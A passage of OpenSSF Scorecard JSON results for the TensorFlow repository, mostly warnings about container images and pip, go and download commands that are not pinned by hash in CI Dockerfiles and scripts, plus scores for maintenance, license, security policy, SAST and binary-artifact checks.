ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: 